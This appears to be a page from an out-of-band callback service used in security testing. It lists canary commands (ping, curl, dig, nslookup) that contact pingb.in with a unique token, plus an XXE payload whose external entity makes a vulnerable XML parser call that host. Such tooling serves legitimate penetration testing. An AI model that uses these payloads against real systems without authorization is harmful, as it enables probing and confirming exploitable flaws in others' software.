$ ping -c1 -p 003e61211ee74a99ae8cd9a0652ff100 pingb.in
 
$ curl pingb.in/p/3e61211ee74a99ae8cd9a0652ff1
 
$ dig 3e61211ee74a99ae8cd9a0652ff1 @pingb.in
 
$ dig 3e61211ee74a99ae8cd9a0652ff1.ns.pingb.in
 
C:\> nslookup 3e61211ee74a99ae8cd9a0652ff1 pingb.in
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/3e61211ee74a99ae8cd9a0652ff1">]>
    <foo>&xxe;</foo>
Waiting for ping...